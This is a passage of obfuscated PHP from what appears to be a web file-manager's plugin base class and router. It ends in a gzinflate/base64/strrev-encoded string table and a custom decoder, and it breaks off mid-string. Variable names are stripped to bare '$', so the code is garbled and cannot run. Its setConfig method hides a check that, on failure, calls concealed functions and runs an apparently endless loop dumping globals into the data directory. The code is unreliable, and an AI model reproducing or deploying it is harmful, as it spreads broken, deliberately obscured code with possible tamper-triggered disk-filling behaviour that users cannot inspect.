(isset($[$[502]][$[1648]])) { $ = $[1649] . $[$[502]][$[1648]] . $[1650]; } else { if ($[$[502]][$[1651]]) { $ = $[1652] . $[$[502]][$[1651]] . $[1653]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $[1654] . rawurlencode(this_url()); show_tips(LNG($[1655]) . $[1656] . $ . $[1657] . LNG($[1658]) . $[1659], !1); } if (!Action($[1660])->authCan($[1661])) { show_tips(LNG($[1662]) . $[1663], !1); } ActionCall($[1664], $); } final function isShare($) { $ = KodIO::parse($); return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1272])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1272])->link($); } final function filePath($, $ = true, $ = false) { $ =& $_SERVER[]; $ = $this->filePathGet($, $); if (!$this->fileInfo) { show_tips(LNG($[108]), !1); } if ($ && isset($this->fileInfo[$[555]]) && $this->fileInfo[$[555]]) { $ = Model($[558])->fileInfo($this->fileInfo[$[555]]); if (!$ || !IO::exist($[$[87]])) { $ = LNG($[108]) . LNG($[1665]); if (KodUser::isRoot() && isset($[$[87]])) { $ .= $[1666] . $[$[87]] . $[1667]; } show_tips($); } } Hook::trigger($[1668], $); return $; } final function filePathGet($, $ = true) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($, $)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1669]]) && isset($[$[237]])) { $ = Mcrypt::decode($[$[237]], Model($[860])->get($[861])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1670]] = $; $this->cachePath = $this->pluginCachePath($[12], $); return $; } } $ = $this->_cacheHttpFile($, $); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($[12], $); } return $; } final function _cacheHttpFile($, $ = true) { $ =& $_SERVER[]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$[32]]) && $[$[32]]) { $ = get_path_ext($[$[32]]); } $ = hash_path($) . $[10] . $; $this->cachePath = $this->pluginCachePath($ ? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->cachePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function checkSharePath($, $ = true) { $ =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $ = Action($[1272])->sharePathInfo($); if (!is_array($) || !isset($[$[87]])) { show_json(LNG($[1671]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $); return $[$[87]]; } final function pluginCachePath($ = '', $ = false) { $ =& $_SERVER[]; if ($ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $[1672] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$[87]] : $[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet($, $ = '') { $ =& $_SERVER[]; $ = IO::infoFullSimple($); if (!$) { return IO::mkfile($, $, REPEAT_REPLACE); } IO::setContent($[$[87]], $); return $[$[87]]; } final function pluginLocalFile($ = '') { $ =& $_SERVER[]; $ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $ = IO::info($); $ = $[1673] . KodIO::hashPath($) . $[10] . $[$[169]]; if (!checkExtSafe($)) { $ = $ . $[1307]; } $ = $ . $; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1674]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $ = Hook::trigger($[1675], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1676]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1677]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1678]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($) { $ =& $_SERVER[]; $ = file_get_contents_nossl($); $ = array($[1679], $[1680], $[1681], $[1682], $[1683], $[1684], $[1685]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1686]]); foreach ($this->echoJsAssignArr as $ => $) { $[] = $[1687] . $ . $[1688]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $[1689])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1689], $, $); } if (strstr($, $[1690])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1690], $, $); } $ = str_replace($, $, $); return $; } private function parseLang(&$) { $ =& $_SERVER[]; $ = $[1691]; if (!strstr($, $)) { return; } preg_match_all($[1692], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $[] = $; $[] = str_replace(array($[288], $[1172], $[429], $[121]), array($[53], $[53], $[12], $[1693]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ =& $_SERVER[]; $ = $[1694]; if (!strstr($, $)) { return; } preg_match_all($[1695], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $); } private function parsePackage(&$) { $ =& $_SERVER[]; $ = $[1696]; if (!strstr($, $)) { return; } preg_match_all($[1697], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $); } final function echoFile($, $ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $[1698]) { echo $[1699] . $this->pluginName . $[8] . $ . $[1700]; if (!file_exists($)) { echo $[1701]; return; } } $ = $this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = str_replace(array_keys($), array_values($), $); } echo $[288] . $; } private function checkVersion() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $this->getConfig(); if ($[$[1702]] == $[$[1676]]) { return; } $this->regist(); $this->setConfig(array($[1702] => $[$[1676]])); } final function initLang() { $ =& $_SERVER[]; $ = $[1703]; $ = $this->pluginPath . $[1704]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $[934])) { $ = (include $ . $ . $[934]); } else { if ($ == $[1705] && !file_exists($ . $ . $[934]) && file_exists($ . $[1706])) { $ = (include $ . $[1706]); } else { if (file_exists($ . $ . $[934])) { $ = (include $ . $ . $[934]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; $ = $_SERVER[$[316]]; $ = $[317]; if ($_SERVER[$[318]] != $($)) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = $[973]; $(); $ = $[1707]; $ = json_encode($GLOBALS[$[1708]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\x6c\x75\147\151\156\101\x75\x74\x68") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1709], $[$]); } public function url($, $ = '', $ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ . $[474] . $; if (substr($, 0, 4) == $[152] || substr($, 0, 2) == $[1427]) { $ = $ . $[1710] . $; } else { if ($ == $[12]) { $ = $this->pluginHost . $ . $[1710] . $; } else { if ($ === $[78]) { $ = $this->pluginHost . $; } else { if ($ == $[1711]) { $ = STATIC_PATH . $ . $[1710] . $; } else { if ($ == $[1712]) { $ = APP_HOST . $[1713] . $ . $[1710] . $; } else { if (isset($[$])) { $ = $[$] . $ . $[1710] . $; } } } } } } if (!$) { return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[]; $ = $this->linkHas == !1; $this->linkHas = !0; if (!$) { $this->link($[1714], $[1712]); $this->link($[1715], $[1711]); $this->link($[1716], $[1711]); $this->link($[1717], $[1711]); $this->link($[1718], $[1711]); if ($) { Hook::trigger($[1719]); } return; } $ = $this->url($, $, !1); if (substr($, -3) == $[1720]) { echo $[1721] . $ . $[1722] . $[288]; } else { if (substr($, -4) == $[1723]) { echo $[1724] . $ . $[1725] . $[288]; } } if ($) { Hook::trigger($[1719]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\156\171" => "\133\x5e\57\x5d\53", "\x3a\x6e\165\x6d" => "\133\x30\55\71\135\x2b", "\72\141\x6c\x6c" => "\56\x2a"); public static $errorCallback; public static function __callstatic($, $) { $ =& $_SERVER[]; if ($ == $[1726]) { $ = array_map($[1727], $[0]); $ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ = $[2]; } else { $ = null; $ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ = $[1]; } array_push(self::$maps, $); array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1728]], PHP_URL_PATH); $ = $_SERVER[$[164]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($[1377], $[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $) { if (self::$methods[$] == $ || self::$methods[$] == $[1729] || in_array($, self::$maps[$])) { $ = !0; if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explode($[1309], $); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[4]) !== !1) { $ = str_replace($, $, $); } if (preg_match($[1730] . $ . $[1731], $, $)) { if (self::$methods[$] == $ || self::$methods[$] == $[1729] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explode($[1309], $); $ = new $[0](); if (!method_exists($, $[1])) { echo $[1732]; } else { call_user_func_array(array($, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1733]] . $[1734]); echo $[1735]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1728]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto d; B: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\213\211\224\233\233\352", "\335\337\322\341\361\203"); $_SERVER[] = explode("\x7c\x3\x7c\x2\x7c\x4", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\7\170\34\325\265\60\4\10\65\171\341\205\44\220\120\306\2\243\342\55\222\334\145\313\146\265\132\111\213\127\132\261\273\162\223\304\170\264\73\322\216"."\265\273\263\332\231\125\263\35\114\263\151\246\204\146\152\350\241\331\246\233\156\136\150\41\360\50\241\363\110\110\300\262\15\171\364\27\132\170\360\337\162\156\231\331\25\274\377\173\377\367\375\6\173".strrev('UTg3hC|W`V=p>w{-9o')."\265\315\332\157\132\307\1\347\334\265\111\333\275\351\225\57\36\273\353\231\313\137\372\353\63\67\47\122\13\356\277\174\340\360\335\126\357\365\267\243\32\20\50\55\331\100\177\224\234\151\53\372\250"."\x61\xd9\x16\x4d\x48\x9a\xb9\x7e\x63\x80\x86\x8d\x1c\xfd\xf5\xd3\x9f\xae\x58\xa4\xa0\x67\x4d\x5b\xa7\x51\x1f\xfd\x51\xa1\x55\xe4\x5f\x6b\x28\x63\xb0\x7c\xb5\x23\x9a\x50\xe3\x5d\x9d\x9d\xa1\x58\x2\x80\x1a\xe4\xfc"."\254\231\202\120\136\53\150\131\370\176\136\57\130\250\65\162\165\152\336\314\353\71\107\212\110\110\151\266\326\247\131\120\123\163\223\332\34\352\214\104\227\251\211\145\235\41\200\350\123\207\212\172\141"."\214\306\110\60\156\153\5\73\141\144\165\16\61\122\340\355\152\12\265\206\73\224\104\54\320\21\17\4\23\341\150\7\115\16\106\333\333\303\211\322\364\130\64\22\151\12\4\27\225\346\164\306\2"."\xad\xed\x1\x5\xb5\x2f\xa3\xab\x46\xae\xdf\xac\x52\x56\xd0\x9c\x15\x4a\x35\xd\xb4\x18\x7a\x26\x45\x83\x39\x8d\x35\xc7\x1e\xcb\x43\x28\xc1\x43\x68\x9a\x72\xc5\x4c\x86\x46\x3a\x78\x28\xa5\xf7\x6b\xc5\xc\x8c\x56"."\263\34\311\27\214\254\306\72\275\110\37\343\251\64\240\25\155\323\310\45\151\44\64\152\27\64\221\216\332\232\104\23\255\347\240\252\170\50\22\12\46\24\334\100\245\45\26\155\127\140\22\262\232".base64_decode('ZesFZUlbKBZScKMbK0lfKxXAlw40FEogElEmq8HWs3lWDS1TprJorDkUU5qWKWKEkmY2a+Y=')."\x7c\xa8\x16\x34\x93\xb6\xd4\xd4\x50\x2c\x46\x3\x1e\x40\xef\x48\x18\x4f\x1a\x44\xa2\x2d\x2d\xf1\x10\x8f\x41\xe7\x8e\x8b\xa0\x96\x4c\x7\xfc\x74\xc4\x52\xfd\x19\x5b\x1d\xd6\x32\x45\x86\xa6\x83\xf4\xb7\x12\x7e\xe0".base64_decode('17QAdYeMnFEENIUqTJMvKwgUGbTOUvQUBLKovAnl+iCtj0GtZAEDrdBhGmxcQH/nQfk+Fec=')."\351\5\133\325\163\111\63\145\344\140\35\57\4\174\324\354\164\163\301\100\0\64\336\157\146\122\54\154\31\343\320\313\176\43\243\167\24\263\62\10\217\46\323\106\46\125\140\113\357\273\40\151\64"."\302\127\62\206\25\261\74\152\11\47\2\106\377\230\130\212\30\256\223\347\132\146\261\220\324\303\150\351\320\170\35\44\353\266\215\72\307\6\304\354\312\147\114\55\25\327\13\274\153\206\331\202\52".strrev('QQ=i={@?c}_F$C-9'."\r".'BZH9m')."\x53\x36\x35\xd3\x62\x3\xe1\xb7\xfa\x8c\x9c\x1f\xa5\xd0\x68\x38\xaa\xa6\x35\x2b\xdd\x9e\x9a\xa9\x92\x52\x8c\xd0\xa6\xf4\x51\x5f\x3e\x9d\x87\xc5\xce\xd7\x77\x8f\x3\xdf\xf1\xb0\x75\x98\x76\x48\x22\xd7\x19\x33\xa9".base64_decode('ZeSu0HDatvNxPZfCowBdMUdyZJTyug5AzR4lpbQry5S2BqPBYgWzGR5iveNpFk+0R9lUpvo=')."\1\123\331\156\121\1\37\64\54\102\370\304\252\325\362\371\214\221\324\154\303\314\371\315\244\255\333\136\313\56\350\32\324\30\110\46\165\313\362\6\315\234\135\60\63\336\100\46\143\216\170\243\5"."\143\300\310\65\50\65\100\203\121\46\132\353\136\114\27\33\140\1\127\314\123\60\322\340\317\324\64\26\355\176\357\34\266\60\71\164\101\313\131\375\172\301\33\202\125\321\240\240\306\162\342\310\300"."\x9a\xd\x2b\x6f\x5a\x6\x6e\x5e\x83\xa2\xd9\xb6\x96\x4c\x63\xc2\x22\xaa\x6f\xfc\xe\x78\x23\x97\x31\x72\x7a\x29\x2c\xaa\x44\xf7\x76\x16\xb4\x81\xac\xd6\xa0\xe4\x8b\x7d\x68\x0\x60\x31\x42\x5a\x12\x43\xc8\xc0\x30"."\x0\xd\x4a\x56\x1b\xf5\x6a\x3\xac\xa6\xd0\x68\xde\x28\xe8\x16\xeb\xb5\xd2\xda\x9e\x0\x8c\xea\xf7\xb6\xe3\x45\x64\xe8\x29\x6f\x1c\x51\x6e\xa8\x6c\x7a\xed\xc\x5\xe1\x8a\xc2\xf2\x68\x6a\x5b\x22\xd1\xa9\x86\x5b"."\xd0\xd6\xdc\x11\x52\xdb\x3\x89\x60\x1b\xd4\x6e\x6b\x3\xac\xea\x8\xa2\xc7\xbc\x4a\x96\xb8\xd4\x8b\x16\x13\xc6\xa6\xe\xd4\x39\x91\xd8\x69\x8e\xe8\x5\xf4\xe1\xa6\xb1\x6\x65\xd0\x4c\xf5\x99\xa3\x3e\x96\x85\x81"."\343\210\252\60\140\74\277\171\333\33\323\162\3\270\33\175\143\266\156\271\351\122\23\332\310\175\375\164\345\372\372\364\176\263\0\275\261\206\7\234\203\37\321\163\3\166\232\325\35\17\305\26\207".strrev(' !k$^X\\xK1yiZ3CX<jb')."\257\14\305\352\216\30\131\3\167\317\346\71\144\260\21\123\320\12\15\362\223\76\67\366\130\65\125\75\251\151\325\136\364\157\115\165\167\117\263\257\246\167\241\337\20\145\374\165\276\72\245\276\166".strrev('hx1E8DD5m"/Nfs,9%Z(C')."\x6b\x5e\x68\x62\x2c\x74\x5c\x57\x28\x9e\x50\xdb\x43\x89\xb6\x68\x33\x34\x3f\x14\x80\x50\xe\x15\x26\xed\x65\x73\x8c\x99\x32\xd8\x12\x73\x50\xad\x3e\x2a\xed\x1f\x62\x1f\x48\xca\x3\x42\xca\x75\x98\x23\x8c\xf2\xbb".base64_decode('ECiY1pODk+ShEPTGpHSJTV03/ekFbO6lP6oajIQCMRW4WdWwWqQtFEc5uVXNvpUI0dp1tqc=').base64_decode('wIfDWbSkRUdU537HetkuEB+toCVGim+IKNqmGwNpaLeBq0uaGbOgZfBWwHjYAQOocj5TRMs=')."\300\217\53\116\244\213\331\76\330\270\320\220\15\350\266\140\57\255\61\304\203\145\331\346\214\166\170\73\334\354\330\202\41\346\127\61\352\366\370\362\271\201\352\243\240\56\265\176\146\55\116\200\131"."\205\236\41\76\273\250\227\166\335\227\64\321\72\157\327\6\365\6\334\27\40\156\363\110\52\213\110\364\163\36\336\362\32\335\144\2\317\126\306\227\105\225\220\72\203\46\337\244\351\111\146\236\163"."\xcb\x53\xf4\x42\xc1\x2c\x4c\x1\x8\x12\x56\xc8\xbe\x89\xa7\xb\x2a\xb7\x39\x7\x62\x21\x8a\xc0\xc2\x69\x93\x73\x2c\x26\xc3\xcd\x6\x3f\xf4\x7b\x6a\x7d\xb\x50\x91\x14\xe2\xdc\x7c\x96\x8d\x26\x1\x75\x50\x4b\xa5".base64_decode('yiUjygMVrGZoSzIYW+CPT0f/Cx4gZWY1tqNiQsQ/iyMWj5FtUk/RfdKRRBc4TaphnyzYJs4=')."\54\70\40\21\222\246\115\150\64\302\12\350\160\221\367\234\215\101\112\317\350\14\301\322\72\143\65\152\1\14\315\14\107\277\176\276\16\320\101\2\245\12\376\316\260\142\250\44\146\14\130\174\11"."\x3e\x79\x89\x4\xcc\x1d\x1\x5e\x89\x60\x6\xcd\x6a\x94\x2c\x28\x11\xef\x2c\xe8\xfd\xc6\x28\x23\x25\xa3\x76\xbb\x56\x18\x64\x1d\x43\x25\xc5\x52\xc4\x11\x69\x99\xb6\x74\x45\x22\x6a\x30\xda\x91\x40\x7\x37\x9a\xb2".base64_decode('JBZOhBjFCjSrgWAnxAQN5AyczILQlOF6QCHUCL/gldBmnTdziNICsfKKY11JVkqwEoA7gv0=')."\x70\x71\x14\x88\x27\xc8\x8e\x7b\xb3\x88\xae\x78\x79\x9b\x3a\xbb\x80\x17\x60\x58\xc1\x58\xe2\xa6\x31\xcc\xed\x32\xd2\x31\x90\x5b\xcc\x67\x7e\x49\x7c\x86\xb7\xad\x3d\x10\xf4\xc6\xdb\x2\xf5\x33\x67\xd1\xd4\x65\xd9"."\124\117\242\315\260\172\226\363\70\64\147\304\232\241\26\164\264\246\31\56\324\327\326\261\25\207\370\22\115\264\174\231\67\353\305\265\140\226\322\127\133\133\313\352\232\66\113\111\43\122\302\351\167"."\x8a\xf4\x96\x9d\x72\x8a\xc9\x41\x5d\x26\xe7\x96\x77\xc4\x60\x34\xef\x28\xce\x8e\x1f\x55\x3a\xf8\x56\x91\xec\x6e\xaa\x96\xc4\xd5\xa9\xa8\xb0\x5d\xb4\xe4\x91\x42\x8\x98\x42\x45\xc\xc6\x25\xd3\x54\x2d\x33\x60\x22".strrev('vhu?(<Ff1|kJ)_gK')."\66\233\266\243\351\317\176\320\214\42\132\267\5\143\134\32\375\205\254\46\106\63\243\161\370\344\150\66\43\316\137\60\64\60\232\162\327\106\125\224\243\102\216\52\347\264\161\72\300\146\241\275\331"."\265\46\350\346\117\323\346\57\104\137\124\206\261\64\307\314\65\126\326\371\152\53\25\166\52\155\254\354\112\264\40\76\175\341\202\375\346\7\315\154\36\223\25\162\4\303\375\245\230\273\0\372\70"."\37\363\100\54\322\351\32\216\120\102\203\135\147\276\137\206\233\357\237\254\126\350\12\146\314\226\252\235\221\100\242\45\32\153\7\34\317\347\5\132\345\223\345\126\233\127\120\244\242\345\325\61\237"."\xc\xab\x40\x4b\x66\x5c\x28\x2a\x8f\xc5\xd2\xb2\x98\xb8\xb4\x1c\x26\x2e\x75\x61\xe2\xd2\x52\x4c\x5c\x5a\xe\xcf\x54\x4d\xd0\x5c\x1c\x12\xe7\x79\x9a\x83\x39\xf1\xb0\x74\x6e\x57\x11\xa1\x67\xd3\xc\xf5\x36\x5\xe2"."\341\240\332\31\110\264\361\1\361\133\251\101\313\257\25\320\271\177\30\35\337\373\374\370\54\213\45\156\76\176\332\203\205\220\304\134\226\252\365\241\155\222\261\204\105\174\44\2\316\153\30\300\264"."\xac\x36\x6e\xe6\x10\x39\x41\x7c\x40\xd6\x97\x84\x3a\x12\x6d\xe1\x8e\x45\x6a\x7b\xb4\x39\x14\x51\xc3\x1d\x88\xdd\x4c\x94\xa6\x77\x75\x36\x7\x18\x95\x96\xd3\x9b\xa2\xac\xbd\x90\xda\x85\x18\xce\xc5\x81\x48\xd8\xd".base64_decode('HloajifiZbNQWlfIldPcpHbGQi3hpTzaEg5FmuNqMBBsEzAdgXaIIFZOz6QsvxNeRZxznEs=')."\4\125\130\17\154\146\144\41\234\312\304\113\252\330\50\320\51\114\7\154\201\356\142\231\52\351\211\312\50\151\221\363\301\114\344\220\145\163\203\116\220\60\354\354\370\124\105\177\252\225\100\134\261"."\xf3\x2a\xdf\xf3\xfb\xc6\x78\x90\x74\x83\xc5\x11\x93\x4\xdf\x57\x80\x8b\x2f\x69\x81\x8a\x61\x9a\xa4\xb3\x5a\xf9\x84\x40\xbf\xcd\x19\x65\x57\x1c\xe1\xa3\xc8\x43\x33\x10\x20\xc2\x5b\x84\x9\x64\x46\xe0\x33\x6\xda"."\x2f\xb\x76\x80\x35\xa7\x5f\x8\x4e\xd5\x68\x67\x28\x16\xc0\x62\x57\x75\x49\x2c\xda\xd1\xa\x5\x46\xd2\x3a\x6b\x40\x18\x86\xbf\x8a\x1d\x9e\x41\xfa\x6a\xb\xb6\x43\xcb\x18\x1a\x13\xc3\x89\x41\x5f\x69\xb2\xa1\x44"."\370\316\216\44\71\66\316\175\230\347\142\214\70\13\364\43\72\303\370\45\263\310\353\357\63\115\250\63\203\317\211\234\17\340\362\332\225\26\103\213\121\306\101\114\343\73\54\40\153\164\121\250\103"."\145\270\104\143\22\376\321\204\120\54\26\215\301\20\330\346\40\223\325\321\314\130\50\36\112\260\157\17\25\15\66\100\176\337\64\300\133\35\161\235\360\171\377\361\75\43\323\252\272\275\323\174\275"."\50\120\135\163\14\215\102\254\307\347\210\262\303\100\261\300\113\143\106\265\312\132\130\335\320\343\357\361\127\55\154\350\16\170\307\65\357\170\255\167\256\267\27\35\41\252\247\101\102\357\252\172\317"."\214\65\30\0\1\56\74\262\27\375\64\366\54\234\332\343\75\372\327\53\216\351\356\351\255\154\230\66\245\307\167\144\317\110\157\115\365\102\366\235\144\261\200\116\51\154\353\105\115\115\115\253\102"."\x4d\x42\xc7\x6a\xe\x92\x93\x76\xa\x2\xc0\x32\xc6\x8d\xbc\x48\x5d\x35\x6b\xd\x4b\x47\x73\xa8\xf\x88\x12\xdd\xde\x9e\x69\xbd\xb\xa5\x72\x52\x92\xfb\x5b\x88\xd8\x23\x9e\x34\xcd\xe1\x2\xde\xe5\xb8\x67\xbc\x28"._kodDe('Kt1SE3RQueBGbMvoGfBdLnAHhDP7tK+r2fy3uS+kih5eUfEatzRmWRMUuGPLciSMo3on/cwg').base64_decode('pw9BwLQ5Ruv2iM7QA6U74gg52DaFsqRYRtrWiLCN4yhHJiOv4sPoCI+hXQ/maV+AtpJaXo8=')."\113\75\124\325\104\240\51\22\342\47\153\240\275\54\116\350\140\23\277\345\101\135\23\64\224\121\4\111\220\106\4\133\260\326\255\241\214\102\110\1\75\5\66\220\13\57\253\230\307\7\72\5\315".strrev('_=n==UUAmcb	S9J1[8')."\xae\x9a\xbe\xa6\x9a\x49\x7b\xfc\x3d\xe8\xf\x8b\x4\xca\x5c\xbd\xa8\x9a\xcd\x86\x84\x53\x42\xb5\x35\x94\xf0\xe1\x16\x71\x61\xbb\x23\xc2\xb3\x69\xd4\x2c\xf0\x93\x4f\xde\x21\x7a\xb0\x4d\x5b\xcb\x38\xaa\x48\xe0\x14"."\106\244\30\263\7\242\147\72\357\21\101\273\60\117\44\335\136\21\122\332\301\105\275\234\145\227\256\117\160\211\270\156\373\70\204\107\312\124\121\334\161\223\330\130\301\10\175\16\55\254\240\264\315"."\121\341\177\234\110\54\34\127\136\226\216\71\225\226\142\46\143\163\271\121\306\30\204\57\300\252\201\33\70\57\354\4\323\312\25\105\207\46\46\106\255\201\146\124\324\224\3\14\347\162\146\252\117"."\106\72\261\301\266\6\20\53\223\120\252\330\155\221\22\356\120\232\242\321\110\50\320\241\340\275\34\366\40\304\50\304\103\235\1\264\201\141\201\154\74\21\202\13\254\160\263\227\325\273\324\313\304".base64_decode('LzxgwLCbeXrsQcxcxmRkxCnAwWdHDxajeDBf4UGt9mDm0CNO5h5xCeMZNvQREuCnZg8cpj0=').strrev('HAah]Y0maL<g>ch,i&d|PpfB')."\20\321\317\264\7\43\20\306\137\217\270\26\362\230\43\71\275\100\100\140\140\204\74\301\43\144\15\236\201\202\131\314\167\262\157\112\61\332\54\110\20\155\346\11\61\323\264\75\114\54\347\221\345".base64_decode('c9CKAFsnZYezfG/I+LsbAfiFs0pH6Xsmq3Q+nKLJVbRGEMuuYfudA4aICDnniQdchBaLhYo=')."\73\320\242\301\5\44\255\126\16\163\4\315\71\21\125\334\2\211\273\77\301\347\272\245\104\356\133\101\374\121\164\326\213\113\237\263\265\1\366\55\114\254\370\111\260\14\50\15\307\364\344\130\122"."\x88\x9d\x9a\x25\x61\x96\x33\xd6\xe8\xec\x8f\x87\x2c\xa0\x72\xc8\x5f\x7e\x72\x39\x42\xf3\xb9\xd8\x6f\xdf\x7d\xd9\xe0\x32\x2c\xe7\x13\xeb\x58\x1c\xdf\xbf\x2c\xa1\x43\x84\xf6\x45\xf3\x82\x8f\xa0\x8d\xc5\xf4\x37\x8e"."\xf6\xb5\x96\xc\x1b\x8d\x7a\x39\x1b\x28\xaf\xc7\x19\xc3\xab\xca\x47\x28\x31\xb9\x60\x8f\x73\x41\x67\x24\xd4\x92\x50\x8e\x8d\x22\xb2\x65\x98\x2a\x2d\xa3\x62\x60\x85\xfc\x63\xe6\x14\x47\xdd\x6c\xb8\x94\x46\x92\x2f"."\xe2\x5a\x2e\x45\x53\x56\x20\x12\xbf\xa2\xb1\x82\x7d\xa4\xc2\x51\x5c\xe0\x87\xb3\x11\x1e\x16\x55\x4a\x31\xe\xf\xb7\x3c\x8\x18\xf\x48\xf7\xc5\xb6\xc4\x92\xa2\x62\x17\x2c\x2\xf3\xa7\x59\x70\xf0\xc2\x62\x62\x8"."\xe9\x2c\x4d\x4c\xad\x8c\x90\x12\x9d\x11\x9\xac\x5d\x8e\xef\xe2\xa8\x58\x4c\xc\x25\x14\xfc\x1\x8f\xc4\xae\x60\x5a\xe2\x15\xcb\x42\x8a\x3a\x87\xdc\x85\x91\xae\xbd\x13\xf\x51\xa7\x91\x1b\x33\x72\x71\x3\x8b\x3d"."\xdc\xa9\xb0\